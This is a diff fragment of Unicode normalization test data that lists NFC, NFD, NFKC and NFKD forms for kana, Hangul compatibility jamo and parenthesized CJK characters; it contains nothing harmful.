+{ source: [0x3060], NFC: [0x3060], NFD: [0x305F, 0x3099], NFKC: [0x3060], NFKD: [0x305F, 0x3099] },
+{ source: [0x3062], NFC: [0x3062], NFD: [0x3061, 0x3099], NFKC: [0x3062], NFKD: [0x3061, 0x3099] },
+{ source: [0x3065], NFC: [0x3065], NFD: [0x3064, 0x3099], NFKC: [0x3065], NFKD: [0x3064, 0x3099] },
+{ source: [0x3067], NFC: [0x3067], NFD: [0x3066, 0x3099], NFKC: [0x3067], NFKD: [0x3066, 0x3099] },
+{ source: [0x3069], NFC: [0x3069], NFD: [0x3068, 0x3099], NFKC: [0x3069], NFKD: [0x3068, 0x3099] },
+{ source: [0x3070], NFC: [0x3070], NFD: [0x306F, 0x3099], NFKC: [0x3070], NFKD: [0x306F, 0x3099] },
+{ source: [0x3071], NFC: [0x3071], NFD: [0x306F, 0x309A], NFKC: [0x3071], NFKD: [0x306F, 0x309A] },
+{ source: [0x3073], NFC: [0x3073], NFD: [0x3072, 0x3099], NFKC: [0x3073], NFKD: [0x3072, 0x3099] },
+{ source: [0x3074], NFC: [0x3074], NFD: [0x3072, 0x309A], NFKC: [0x3074], NFKD: [0x3072, 0x309A] },
+{ source: [0x3076], NFC: [0x3076], NFD: [0x3075, 0x3099], NFKC: [0x3076], NFKD: [0x3075, 0x3099] },
+{ source: [0x3077], NFC: [0x3077], NFD: [0x3075, 0x309A], NFKC: [0x3077], NFKD: [0x3075, 0x309A] },
+{ source: [0x3079], NFC: [0x3079], NFD: [0x3078, 0x3099], NFKC: [0x3079], NFKD: [0x3078, 0x3099] },
+{ source: [0x307A], NFC: [0x307A], NFD: [0x3078, 0x309A], NFKC: [0x307A], NFKD: [0x3078, 0x309A] },
+{ source: [0x307C], NFC: [0x307C], NFD: [0x307B, 0x3099], NFKC: [0x307C], NFKD: [0x307B, 0x3099] },
+{ source: [0x307D], NFC: [0x307D], NFD: [0x307B, 0x309A], NFKC: [0x307D], NFKD: [0x307B, 0x309A] },
+{ source: [0x3094], NFC: [0x3094], NFD: [0x3046, 0x3099], NFKC: [0x3094], NFKD: [0x3046, 0x3099] },
+{ source: [0x309B], NFC: [0x309B], NFD: [0x309B], NFKC: [0x0020, 0x3099], NFKD: [0x0020, 0x3099] },
+{ source: [0x309C], NFC: [0x309C], NFD: [0x309C], NFKC: [0x0020, 0x309A], NFKD: [0x0020, 0x309A] },
+{ source: [0x309E], NFC: [0x309E], NFD: [0x309D, 0x3099], NFKC: [0x309E], NFKD: [0x309D, 0x3099] },
+{ source: [0x309F], NFC: [0x309F], NFD: [0x309F], NFKC: [0x3088, 0x308A], NFKD: [0x3088, 0x308A] },
+{ source: [0x30AC], NFC: [0x30AC], NFD: [0x30AB, 0x3099], NFKC: [0x30AC], NFKD: [0x30AB, 0x3099] },
+{ source: [0x30AE], NFC: [0x30AE], NFD: [0x30AD, 0x3099], NFKC: [0x30AE], NFKD: [0x30AD, 0x3099] },
+{ source: [0x30B0], NFC: [0x30B0], NFD: [0x30AF, 0x3099], NFKC: [0x30B0], NFKD: [0x30AF, 0x3099] },
+{ source: [0x30B2], NFC: [0x30B2], NFD: [0x30B1, 0x3099], NFKC: [0x30B2], NFKD: [0x30B1, 0x3099] },
+{ source: [0x30B4], NFC: [0x30B4], NFD: [0x30B3, 0x3099], NFKC: [0x30B4], NFKD: [0x30B3, 0x3099] },
+{ source: [0x30B6], NFC: [0x30B6], NFD: [0x30B5, 0x3099], NFKC: [0x30B6], NFKD: [0x30B5, 0x3099] },
+{ source: [0x30B8], NFC: [0x30B8], NFD: [0x30B7, 0x3099], NFKC: [0x30B8], NFKD: [0x30B7, 0x3099] },
+{ source: [0x30BA], NFC: [0x30BA], NFD: [0x30B9, 0x3099], NFKC: [0x30BA], NFKD: [0x30B9, 0x3099] },
+{ source: [0x30BC], NFC: [0x30BC], NFD: [0x30BB, 0x3099], NFKC: [0x30BC], NFKD: [0x30BB, 0x3099] },
+{ source: [0x30BE], NFC: [0x30BE], NFD: [0x30BD, 0x3099], NFKC: [0x30BE], NFKD: [0x30BD, 0x3099] },
+{ source: [0x30C0], NFC: [0x30C0], NFD: [0x30BF, 0x3099], NFKC: [0x30C0], NFKD: [0x30BF, 0x3099] },
+{ source: [0x30C2], NFC: [0x30C2], NFD: [0x30C1, 0x3099], NFKC: [0x30C2], NFKD: [0x30C1, 0x3099] },
+{ source: [0x30C5], NFC: [0x30C5], NFD: [0x30C4, 0x3099], NFKC: [0x30C5], NFKD: [0x30C4, 0x3099] },
+{ source: [0x30C7], NFC: [0x30C7], NFD: [0x30C6, 0x3099], NFKC: [0x30C7], NFKD: [0x30C6, 0x3099] },
+{ source: [0x30C9], NFC: [0x30C9], NFD: [0x30C8, 0x3099], NFKC: [0x30C9], NFKD: [0x30C8, 0x3099] },
+{ source: [0x30D0], NFC: [0x30D0], NFD: [0x30CF, 0x3099], NFKC: [0x30D0], NFKD: [0x30CF, 0x3099] },
+{ source: [0x30D1], NFC: [0x30D1], NFD: [0x30CF, 0x309A], NFKC: [0x30D1], NFKD: [0x30CF, 0x309A] },
+{ source: [0x30D3], NFC: [0x30D3], NFD: [0x30D2, 0x3099], NFKC: [0x30D3], NFKD: [0x30D2, 0x3099] },
+{ source: [0x30D4], NFC: [0x30D4], NFD: [0x30D2, 0x309A], NFKC: [0x30D4], NFKD: [0x30D2, 0x309A] },
+{ source: [0x30D6], NFC: [0x30D6], NFD: [0x30D5, 0x3099], NFKC: [0x30D6], NFKD: [0x30D5, 0x3099] },
+{ source: [0x30D7], NFC: [0x30D7], NFD: [0x30D5, 0x309A], NFKC: [0x30D7], NFKD: [0x30D5, 0x309A] },
+{ source: [0x30D9], NFC: [0x30D9], NFD: [0x30D8, 0x3099], NFKC: [0x30D9], NFKD: [0x30D8, 0x3099] },
+{ source: [0x30DA], NFC: [0x30DA], NFD: [0x30D8, 0x309A], NFKC: [0x30DA], NFKD: [0x30D8, 0x309A] },
+{ source: [0x30DC], NFC: [0x30DC], NFD: [0x30DB, 0x3099], NFKC: [0x30DC], NFKD: [0x30DB, 0x3099] },
+{ source: [0x30DD], NFC: [0x30DD], NFD: [0x30DB, 0x309A], NFKC: [0x30DD], NFKD: [0x30DB, 0x309A] },
+{ source: [0x30F4], NFC: [0x30F4], NFD: [0x30A6, 0x3099], NFKC: [0x30F4], NFKD: [0x30A6, 0x3099] },
+{ source: [0x30F7], NFC: [0x30F7], NFD: [0x30EF, 0x3099], NFKC: [0x30F7], NFKD: [0x30EF, 0x3099] },
+{ source: [0x30F8], NFC: [0x30F8], NFD: [0x30F0, 0x3099], NFKC: [0x30F8], NFKD: [0x30F0, 0x3099] },
+{ source: [0x30F9], NFC: [0x30F9], NFD: [0x30F1, 0x3099], NFKC: [0x30F9], NFKD: [0x30F1, 0x3099] },
+{ source: [0x30FA], NFC: [0x30FA], NFD: [0x30F2, 0x3099], NFKC: [0x30FA], NFKD: [0x30F2, 0x3099] },
+{ source: [0x30FE], NFC: [0x30FE], NFD: [0x30FD, 0x3099], NFKC: [0x30FE], NFKD: [0x30FD, 0x3099] },
+{ source: [0x30FF], NFC: [0x30FF], NFD: [0x30FF], NFKC: [0x30B3, 0x30C8], NFKD: [0x30B3, 0x30C8] },
+{ source: [0x3131], NFC: [0x3131], NFD: [0x3131], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0x3132], NFC: [0x3132], NFD: [0x3132], NFKC: [0x1101], NFKD: [0x1101] },
+{ source: [0x3133], NFC: [0x3133], NFD: [0x3133], NFKC: [0x11AA], NFKD: [0x11AA] },
+{ source: [0x3134], NFC: [0x3134], NFD: [0x3134], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0x3135], NFC: [0x3135], NFD: [0x3135], NFKC: [0x11AC], NFKD: [0x11AC] },
+{ source: [0x3136], NFC: [0x3136], NFD: [0x3136], NFKC: [0x11AD], NFKD: [0x11AD] },
+{ source: [0x3137], NFC: [0x3137], NFD: [0x3137], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0x3138], NFC: [0x3138], NFD: [0x3138], NFKC: [0x1104], NFKD: [0x1104] },
+{ source: [0x3139], NFC: [0x3139], NFD: [0x3139], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0x313A], NFC: [0x313A], NFD: [0x313A], NFKC: [0x11B0], NFKD: [0x11B0] },
+{ source: [0x313B], NFC: [0x313B], NFD: [0x313B], NFKC: [0x11B1], NFKD: [0x11B1] },
+{ source: [0x313C], NFC: [0x313C], NFD: [0x313C], NFKC: [0x11B2], NFKD: [0x11B2] },
+{ source: [0x313D], NFC: [0x313D], NFD: [0x313D], NFKC: [0x11B3], NFKD: [0x11B3] },
+{ source: [0x313E], NFC: [0x313E], NFD: [0x313E], NFKC: [0x11B4], NFKD: [0x11B4] },
+{ source: [0x313F], NFC: [0x313F], NFD: [0x313F], NFKC: [0x11B5], NFKD: [0x11B5] },
+{ source: [0x3140], NFC: [0x3140], NFD: [0x3140], NFKC: [0x111A], NFKD: [0x111A] },
+{ source: [0x3141], NFC: [0x3141], NFD: [0x3141], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0x3142], NFC: [0x3142], NFD: [0x3142], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0x3143], NFC: [0x3143], NFD: [0x3143], NFKC: [0x1108], NFKD: [0x1108] },
+{ source: [0x3144], NFC: [0x3144], NFD: [0x3144], NFKC: [0x1121], NFKD: [0x1121] },
+{ source: [0x3145], NFC: [0x3145], NFD: [0x3145], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0x3146], NFC: [0x3146], NFD: [0x3146], NFKC: [0x110A], NFKD: [0x110A] },
+{ source: [0x3147], NFC: [0x3147], NFD: [0x3147], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0x3148], NFC: [0x3148], NFD: [0x3148], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0x3149], NFC: [0x3149], NFD: [0x3149], NFKC: [0x110D], NFKD: [0x110D] },
+{ source: [0x314A], NFC: [0x314A], NFD: [0x314A], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0x314B], NFC: [0x314B], NFD: [0x314B], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0x314C], NFC: [0x314C], NFD: [0x314C], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0x314D], NFC: [0x314D], NFD: [0x314D], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0x314E], NFC: [0x314E], NFD: [0x314E], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0x314F], NFC: [0x314F], NFD: [0x314F], NFKC: [0x1161], NFKD: [0x1161] },
+{ source: [0x3150], NFC: [0x3150], NFD: [0x3150], NFKC: [0x1162], NFKD: [0x1162] },
+{ source: [0x3151], NFC: [0x3151], NFD: [0x3151], NFKC: [0x1163], NFKD: [0x1163] },
+{ source: [0x3152], NFC: [0x3152], NFD: [0x3152], NFKC: [0x1164], NFKD: [0x1164] },
+{ source: [0x3153], NFC: [0x3153], NFD: [0x3153], NFKC: [0x1165], NFKD: [0x1165] },
+{ source: [0x3154], NFC: [0x3154], NFD: [0x3154], NFKC: [0x1166], NFKD: [0x1166] },
+{ source: [0x3155], NFC: [0x3155], NFD: [0x3155], NFKC: [0x1167], NFKD: [0x1167] },
+{ source: [0x3156], NFC: [0x3156], NFD: [0x3156], NFKC: [0x1168], NFKD: [0x1168] },
+{ source: [0x3157], NFC: [0x3157], NFD: [0x3157], NFKC: [0x1169], NFKD: [0x1169] },
+{ source: [0x3158], NFC: [0x3158], NFD: [0x3158], NFKC: [0x116A], NFKD: [0x116A] },
+{ source: [0x3159], NFC: [0x3159], NFD: [0x3159], NFKC: [0x116B], NFKD: [0x116B] },
+{ source: [0x315A], NFC: [0x315A], NFD: [0x315A], NFKC: [0x116C], NFKD: [0x116C] },
+{ source: [0x315B], NFC: [0x315B], NFD: [0x315B], NFKC: [0x116D], NFKD: [0x116D] },
+{ source: [0x315C], NFC: [0x315C], NFD: [0x315C], NFKC: [0x116E], NFKD: [0x116E] },
+{ source: [0x315D], NFC: [0x315D], NFD: [0x315D], NFKC: [0x116F], NFKD: [0x116F] },
+{ source: [0x315E], NFC: [0x315E], NFD: [0x315E], NFKC: [0x1170], NFKD: [0x1170] },
+{ source: [0x315F], NFC: [0x315F], NFD: [0x315F], NFKC: [0x1171], NFKD: [0x1171] },
+{ source: [0x3160], NFC: [0x3160], NFD: [0x3160], NFKC: [0x1172], NFKD: [0x1172] },
+{ source: [0x3161], NFC: [0x3161], NFD: [0x3161], NFKC: [0x1173], NFKD: [0x1173] },
+{ source: [0x3162], NFC: [0x3162], NFD: [0x3162], NFKC: [0x1174], NFKD: [0x1174] },
+{ source: [0x3163], NFC: [0x3163], NFD: [0x3163], NFKC: [0x1175], NFKD: [0x1175] },
+{ source: [0x3164], NFC: [0x3164], NFD: [0x3164], NFKC: [0x1160], NFKD: [0x1160] },
+{ source: [0x3165], NFC: [0x3165], NFD: [0x3165], NFKC: [0x1114], NFKD: [0x1114] },
+{ source: [0x3166], NFC: [0x3166], NFD: [0x3166], NFKC: [0x1115], NFKD: [0x1115] },
+{ source: [0x3167], NFC: [0x3167], NFD: [0x3167], NFKC: [0x11C7], NFKD: [0x11C7] },
+{ source: [0x3168], NFC: [0x3168], NFD: [0x3168], NFKC: [0x11C8], NFKD: [0x11C8] },
+{ source: [0x3169], NFC: [0x3169], NFD: [0x3169], NFKC: [0x11CC], NFKD: [0x11CC] },
+{ source: [0x316A], NFC: [0x316A], NFD: [0x316A], NFKC: [0x11CE], NFKD: [0x11CE] },
+{ source: [0x316B], NFC: [0x316B], NFD: [0x316B], NFKC: [0x11D3], NFKD: [0x11D3] },
+{ source: [0x316C], NFC: [0x316C], NFD: [0x316C], NFKC: [0x11D7], NFKD: [0x11D7] },
+{ source: [0x316D], NFC: [0x316D], NFD: [0x316D], NFKC: [0x11D9], NFKD: [0x11D9] },
+{ source: [0x316E], NFC: [0x316E], NFD: [0x316E], NFKC: [0x111C], NFKD: [0x111C] },
+{ source: [0x316F], NFC: [0x316F], NFD: [0x316F], NFKC: [0x11DD], NFKD: [0x11DD] },
+{ source: [0x3170], NFC: [0x3170], NFD: [0x3170], NFKC: [0x11DF], NFKD: [0x11DF] },
+{ source: [0x3171], NFC: [0x3171], NFD: [0x3171], NFKC: [0x111D], NFKD: [0x111D] },
+{ source: [0x3172], NFC: [0x3172], NFD: [0x3172], NFKC: [0x111E], NFKD: [0x111E] },
+{ source: [0x3173], NFC: [0x3173], NFD: [0x3173], NFKC: [0x1120], NFKD: [0x1120] },
+{ source: [0x3174], NFC: [0x3174], NFD: [0x3174], NFKC: [0x1122], NFKD: [0x1122] },
+{ source: [0x3175], NFC: [0x3175], NFD: [0x3175], NFKC: [0x1123], NFKD: [0x1123] },
+{ source: [0x3176], NFC: [0x3176], NFD: [0x3176], NFKC: [0x1127], NFKD: [0x1127] },
+{ source: [0x3177], NFC: [0x3177], NFD: [0x3177], NFKC: [0x1129], NFKD: [0x1129] },
+{ source: [0x3178], NFC: [0x3178], NFD: [0x3178], NFKC: [0x112B], NFKD: [0x112B] },
+{ source: [0x3179], NFC: [0x3179], NFD: [0x3179], NFKC: [0x112C], NFKD: [0x112C] },
+{ source: [0x317A], NFC: [0x317A], NFD: [0x317A], NFKC: [0x112D], NFKD: [0x112D] },
+{ source: [0x317B], NFC: [0x317B], NFD: [0x317B], NFKC: [0x112E], NFKD: [0x112E] },
+{ source: [0x317C], NFC: [0x317C], NFD: [0x317C], NFKC: [0x112F], NFKD: [0x112F] },
+{ source: [0x317D], NFC: [0x317D], NFD: [0x317D], NFKC: [0x1132], NFKD: [0x1132] },
+{ source: [0x317E], NFC: [0x317E], NFD: [0x317E], NFKC: [0x1136], NFKD: [0x1136] },
+{ source: [0x317F], NFC: [0x317F], NFD: [0x317F], NFKC: [0x1140], NFKD: [0x1140] },
+{ source: [0x3180], NFC: [0x3180], NFD: [0x3180], NFKC: [0x1147], NFKD: [0x1147] },
+{ source: [0x3181], NFC: [0x3181], NFD: [0x3181], NFKC: [0x114C], NFKD: [0x114C] },
+{ source: [0x3182], NFC: [0x3182], NFD: [0x3182], NFKC: [0x11F1], NFKD: [0x11F1] },
+{ source: [0x3183], NFC: [0x3183], NFD: [0x3183], NFKC: [0x11F2], NFKD: [0x11F2] },
+{ source: [0x3184], NFC: [0x3184], NFD: [0x3184], NFKC: [0x1157], NFKD: [0x1157] },
+{ source: [0x3185], NFC: [0x3185], NFD: [0x3185], NFKC: [0x1158], NFKD: [0x1158] },
+{ source: [0x3186], NFC: [0x3186], NFD: [0x3186], NFKC: [0x1159], NFKD: [0x1159] },
+{ source: [0x3187], NFC: [0x3187], NFD: [0x3187], NFKC: [0x1184], NFKD: [0x1184] },
+{ source: [0x3188], NFC: [0x3188], NFD: [0x3188], NFKC: [0x1185], NFKD: [0x1185] },
+{ source: [0x3189], NFC: [0x3189], NFD: [0x3189], NFKC: [0x1188], NFKD: [0x1188] },
+{ source: [0x318A], NFC: [0x318A], NFD: [0x318A], NFKC: [0x1191], NFKD: [0x1191] },
+{ source: [0x318B], NFC: [0x318B], NFD: [0x318B], NFKC: [0x1192], NFKD: [0x1192] },
+{ source: [0x318C], NFC: [0x318C], NFD: [0x318C], NFKC: [0x1194], NFKD: [0x1194] },
+{ source: [0x318D], NFC: [0x318D], NFD: [0x318D], NFKC: [0x119E], NFKD: [0x119E] },
+{ source: [0x318E], NFC: [0x318E], NFD: [0x318E], NFKC: [0x11A1], NFKD: [0x11A1] },
+{ source: [0x3192], NFC: [0x3192], NFD: [0x3192], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x3193], NFC: [0x3193], NFD: [0x3193], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x3194], NFC: [0x3194], NFD: [0x3194], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x3195], NFC: [0x3195], NFD: [0x3195], NFKC: [0x56DB], NFKD: [0x56DB] },
+{ source: [0x3196], NFC: [0x3196], NFD: [0x3196], NFKC: [0x4E0A], NFKD: [0x4E0A] },
+{ source: [0x3197], NFC: [0x3197], NFD: [0x3197], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x3198], NFC: [0x3198], NFD: [0x3198], NFKC: [0x4E0B], NFKD: [0x4E0B] },
+{ source: [0x3199], NFC: [0x3199], NFD: [0x3199], NFKC: [0x7532], NFKD: [0x7532] },
+{ source: [0x319A], NFC: [0x319A], NFD: [0x319A], NFKC: [0x4E59], NFKD: [0x4E59] },
+{ source: [0x319B], NFC: [0x319B], NFD: [0x319B], NFKC: [0x4E19], NFKD: [0x4E19] },
+{ source: [0x319C], NFC: [0x319C], NFD: [0x319C], NFKC: [0x4E01], NFKD: [0x4E01] },
+{ source: [0x319D], NFC: [0x319D], NFD: [0x319D], NFKC: [0x5929], NFKD: [0x5929] },
+{ source: [0x319E], NFC: [0x319E], NFD: [0x319E], NFKC: [0x5730], NFKD: [0x5730] },
+{ source: [0x319F], NFC: [0x319F], NFD: [0x319F], NFKC: [0x4EBA], NFKD: [0x4EBA] },
+{ source: [0x3200], NFC: [0x3200], NFD: [0x3200], NFKC: [0x0028, 0x1100, 0x0029], NFKD: [0x0028, 0x1100, 0x0029] },
+{ source: [0x3201], NFC: [0x3201], NFD: [0x3201], NFKC: [0x0028, 0x1102, 0x0029], NFKD: [0x0028, 0x1102, 0x0029] },
+{ source: [0x3202], NFC: [0x3202], NFD: [0x3202], NFKC: [0x0028, 0x1103, 0x0029], NFKD: [0x0028, 0x1103, 0x0029] },
+{ source: [0x3203], NFC: [0x3203], NFD: [0x3203], NFKC: [0x0028, 0x1105, 0x0029], NFKD: [0x0028, 0x1105, 0x0029] },
+{ source: [0x3204], NFC: [0x3204], NFD: [0x3204], NFKC: [0x0028, 0x1106, 0x0029], NFKD: [0x0028, 0x1106, 0x0029] },
+{ source: [0x3205], NFC: [0x3205], NFD: [0x3205], NFKC: [0x0028, 0x1107, 0x0029], NFKD: [0x0028, 0x1107, 0x0029] },
+{ source: [0x3206], NFC: [0x3206], NFD: [0x3206], NFKC: [0x0028, 0x1109, 0x0029], NFKD: [0x0028, 0x1109, 0x0029] },
+{ source: [0x3207], NFC: [0x3207], NFD: [0x3207], NFKC: [0x0028, 0x110B, 0x0029], NFKD: [0x0028, 0x110B, 0x0029] },
+{ source: [0x3208], NFC: [0x3208], NFD: [0x3208], NFKC: [0x0028, 0x110C, 0x0029], NFKD: [0x0028, 0x110C, 0x0029] },
+{ source: [0x3209], NFC: [0x3209], NFD: [0x3209], NFKC: [0x0028, 0x110E, 0x0029], NFKD: [0x0028, 0x110E, 0x0029] },
+{ source: [0x320A], NFC: [0x320A], NFD: [0x320A], NFKC: [0x0028, 0x110F, 0x0029], NFKD: [0x0028, 0x110F, 0x0029] },
+{ source: [0x320B], NFC: [0x320B], NFD: [0x320B], NFKC: [0x0028, 0x1110, 0x0029], NFKD: [0x0028, 0x1110, 0x0029] },
+{ source: [0x320C], NFC: [0x320C], NFD: [0x320C], NFKC: [0x0028, 0x1111, 0x0029], NFKD: [0x0028, 0x1111, 0x0029] },
+{ source: [0x320D], NFC: [0x320D], NFD: [0x320D], NFKC: [0x0028, 0x1112, 0x0029], NFKD: [0x0028, 0x1112, 0x0029] },
+{ source: [0x320E], NFC: [0x320E], NFD: [0x320E], NFKC: [0x0028, 0xAC00, 0x0029], NFKD: [0x0028, 0x1100, 0x1161, 0x0029] },
+{ source: [0x320F], NFC: [0x320F], NFD: [0x320F], NFKC: [0x0028, 0xB098, 0x0029], NFKD: [0x0028, 0x1102, 0x1161, 0x0029] },
+{ source: [0x3210], NFC: [0x3210], NFD: [0x3210], NFKC: [0x0028, 0xB2E4, 0x0029], NFKD: [0x0028, 0x1103, 0x1161, 0x0029] },
+{ source: [0x3211], NFC: [0x3211], NFD: [0x3211], NFKC: [0x0028, 0xB77C, 0x0029], NFKD: [0x0028, 0x1105, 0x1161, 0x0029] },
+{ source: [0x3212], NFC: [0x3212], NFD: [0x3212], NFKC: [0x0028, 0xB9C8, 0x0029], NFKD: [0x0028, 0x1106, 0x1161, 0x0029] },
+{ source: [0x3213], NFC: [0x3213], NFD: [0x3213], NFKC: [0x0028, 0xBC14, 0x0029], NFKD: [0x0028, 0x1107, 0x1161, 0x0029] },
+{ source: [0x3214], NFC: [0x3214], NFD: [0x3214], NFKC: [0x0028, 0xC0AC, 0x0029], NFKD: [0x0028, 0x1109, 0x1161, 0x0029] },
+{ source: [0x3215], NFC: [0x3215], NFD: [0x3215], NFKC: [0x0028, 0xC544, 0x0029], NFKD: [0x0028, 0x110B, 0x1161, 0x0029] },
+{ source: [0x3216], NFC: [0x3216], NFD: [0x3216], NFKC: [0x0028, 0xC790, 0x0029], NFKD: [0x0028, 0x110C, 0x1161, 0x0029] },
+{ source: [0x3217], NFC: [0x3217], NFD: [0x3217], NFKC: [0x0028, 0xCC28, 0x0029], NFKD: [0x0028, 0x110E, 0x1161, 0x0029] },
+{ source: [0x3218], NFC: [0x3218], NFD: [0x3218], NFKC: [0x0028, 0xCE74, 0x0029], NFKD: [0x0028, 0x110F, 0x1161, 0x0029] },
+{ source: [0x3219], NFC: [0x3219], NFD: [0x3219], NFKC: [0x0028, 0xD0C0, 0x0029], NFKD: [0x0028, 0x1110, 0x1161, 0x0029] },
+{ source: [0x321A], NFC: [0x321A], NFD: [0x321A], NFKC: [0x0028, 0xD30C, 0x0029], NFKD: [0x0028, 0x1111, 0x1161, 0x0029] },
+{ source: [0x321B], NFC: [0x321B], NFD: [0x321B], NFKC: [0x0028, 0xD558, 0x0029], NFKD: [0x0028, 0x1112, 0x1161, 0x0029] },
+{ source: [0x321C], NFC: [0x321C], NFD: [0x321C], NFKC: [0x0028, 0xC8FC, 0x0029], NFKD: [0x0028, 0x110C, 0x116E, 0x0029] },
+{ source: [0x321D], NFC: [0x321D], NFD: [0x321D], NFKC: [0x0028, 0xC624, 0xC804, 0x0029], NFKD: [0x0028, 0x110B, 0x1169, 0x110C, 0x1165, 0x11AB, 0x0029] },
+{ source: [0x321E], NFC: [0x321E], NFD: [0x321E], NFKC: [0x0028, 0xC624, 0xD6C4, 0x0029], NFKD: [0x0028, 0x110B, 0x1169, 0x1112, 0x116E, 0x0029] },
+{ source: [0x3220], NFC: [0x3220], NFD: [0x3220], NFKC: [0x0028, 0x4E00, 0x0029], NFKD: [0x0028, 0x4E00, 0x0029] },
+{ source: [0x3221], NFC: [0x3221], NFD: [0x3221], NFKC: [0x0028, 0x4E8C, 0x0029], NFKD: [0x0028, 0x4E8C, 0x0029] },
+{ source: [0x3222], NFC: [0x3222], NFD: [0x3222], NFKC: [0x0028, 0x4E09, 0x0029], NFKD: [0x0028, 0x4E09, 0x0029] },
+{ source: [0x3223], NFC: [0x3223], NFD: [0x3223], NFKC: [0x0028, 0x56DB, 0x0029], NFKD: [0x0028, 0x56DB, 0x0029] },
+{ source: [0x3224], NFC: [0x3224], NFD: [0x3224], NFKC: [0x0028, 0x4E94, 0x0029], NFKD: [0x0028, 0x4E94, 0x0029] },
+{ source: [0x3225], NFC: [0x3225], NFD: [0x3225], NFKC: [0x0028, 0x516D, 0x0029], NFKD: [0x0028, 0x516D, 0x0029] },
+{ source: [0x3226], NFC: [0x3226], NFD: [0x3226], NFKC: [0x0028, 0x4E03, 0x0029], NFKD: [0x0028, 0x4E03, 0x0029] },
+{ source: [0x3227], NFC: [0x3227], NFD: [0x3227], NFKC: [0x0028, 0x516B, 0x0029], NFKD: [0x0028, 0x516B, 0x0029] },
+{ source: [0x3228], NFC: [0x3228], NFD: [0x3228], NFKC: [0x0028, 0x4E5D, 0x0029], NFKD: [0x0028, 0x4E5D, 0x0029] },
+{ source: [0x3229], NFC: [0x3229], NFD: [0x3229], NFKC: [0x0028, 0x5341, 0x0029], NFKD: [0x0028, 0x5341, 0x0029] },
+{ source: [0x322A], NFC: [0x322A], NFD: [0x322A], NFKC: [0x0028, 0x6708, 0x0029], NFKD: [0x0028, 0x6708, 0x0029] },
+{ source: [0x322B], NFC: [0x322B], NFD: [0x322B], NFKC: [0x0028, 0x706B, 0x0029], NFKD: [0x0028, 0x706B, 0x0029] },
+{ source: [0x322C], NFC: [0x322C], NFD: [0x322C], NFKC: [0x0028, 0x6C34, 0x0029], NFKD: [0x0028, 0x6C34, 0x0029] },
+{ source: [0x322D], NFC: [0x322D], NFD: [0x322D], NFKC: [0x0028, 0x6728, 0x0029], NFKD: [0x0028, 0x6728, 0x0029] },
+{ source: [0x322E], NFC: [0x322E], NFD: [0x322E], NFKC: [0x0028, 0x91D1, 0x0029], NFKD: [0x0028, 0x91D1, 0x0029] },
+{ source: [0x322F], NFC: [0x322F], NFD: [0x322F], NFKC: [0x0028, 0x571F, 0x0029], NFKD: [0x0028, 0x571F, 0x0029] },
+{ source: [0x3230], NFC: [0x3230], NFD: [0x3230], NFKC: [0x0028, 0x65E5, 0x0029], NFKD: [0x0028, 0x65E5, 0x0029] },
+{ source: [0x3231], NFC: [0x3231], NFD: [0x3231], NFKC: [0x0028, 0x682A, 0x0029], NFKD: [0x0028, 0x682A, 0x0029] },
+{ source: [0x3232], NFC: [0x3232], NFD: [0x3232], NFKC: [0x0028, 0x6709, 0x0029], NFKD: [0x0028, 0x6709, 0x0029] },
+{ source: [0x3233], NFC: [0x3233], NFD: [0x3233], NFKC: [0x0028, 0x793E, 0x0029], NFKD: [0x0028, 0x793E, 0x0029] },
+{ source: [0x3234], NFC: [0x3234], NFD: [0x3234], NFKC: [0x0028, 0x540D, 0x0029], NFKD: [0x0028, 0x540D, 0x0029] },
+{ source: [0x3235], NFC: [0x3235], NFD: [0x3235], NFKC: [0x0028, 0x7279, 0x0029], NFKD: [0x0028, 0x7279, 0x0029] },
+{ source: [0x3236], NFC: [0x3236], NFD: [0x3236], NFKC: [0x0028, 0x8CA1, 0x0029], NFKD: [0x0028, 0x8CA1, 0x0029] },
+{ source: [0x3237], NFC: [0x3237], NFD: [0x3237], NFKC: [0x0028, 0x795D, 0x0029], NFKD: [0x0028, 0x795D, 0x0029] },
+{ source: [0x3238], NFC: [0x3238], NFD: [0x3238], NFKC: [0x0028, 0x52B4, 0x0029], NFKD: [0x0028, 0x52B4, 0x0029] },
+{ source: [0x3239], NFC: [0x3239], NFD: [0x3239], NFKC: [0x0028, 0x4EE3, 0x0029], NFKD: [0x0028, 0x4EE3, 0x0029] },
+{ source: [0x323A], NFC: [0x323A], NFD: [0x323A], NFKC: [0x0028, 0x547C, 0x0029], NFKD: [0x0028, 0x547C, 0x0029] },
+{ source: [0x323B], NFC: [0x323B], NFD: [0x323B], NFKC: [0x0028, 0x5B66, 0x0029], NFKD: [0x0028, 0x5B66, 0x0029] },
+{ source: [0x323C], NFC: [0x323C], NFD: [0x323C], NFKC: [0x0028, 0x76E3, 0x0029], NFKD: [0x0028, 0x76E3, 0x0029] },
+{ source: [0x323D], NFC: [0x323D], NFD: [0x323D], NFKC: [0x0028, 0x4F01, 0x0029], NFKD: [0x0028, 0x4F01, 0x0029] },
+{ source: [0x323E], NFC: [0x323E], NFD: [0x323E], NFKC: [0x0028, 0x8CC7, 0x0029], NFKD: [0x0028, 0x8CC7, 0x0029] },
+{ source: [0x323F], NFC: [0x323F], NFD: [0x323F], NFKC: [0x0028, 0x5354, 0x0029], NFKD: [0x0028, 0x5354, 0x0029] },
+{ source: [0x3240], NFC: [0x3240], NFD: [0x3240], NFKC: [0x0028, 0x796D, 0x0029], NFKD: [0x0028, 0x796D, 0x0029] },
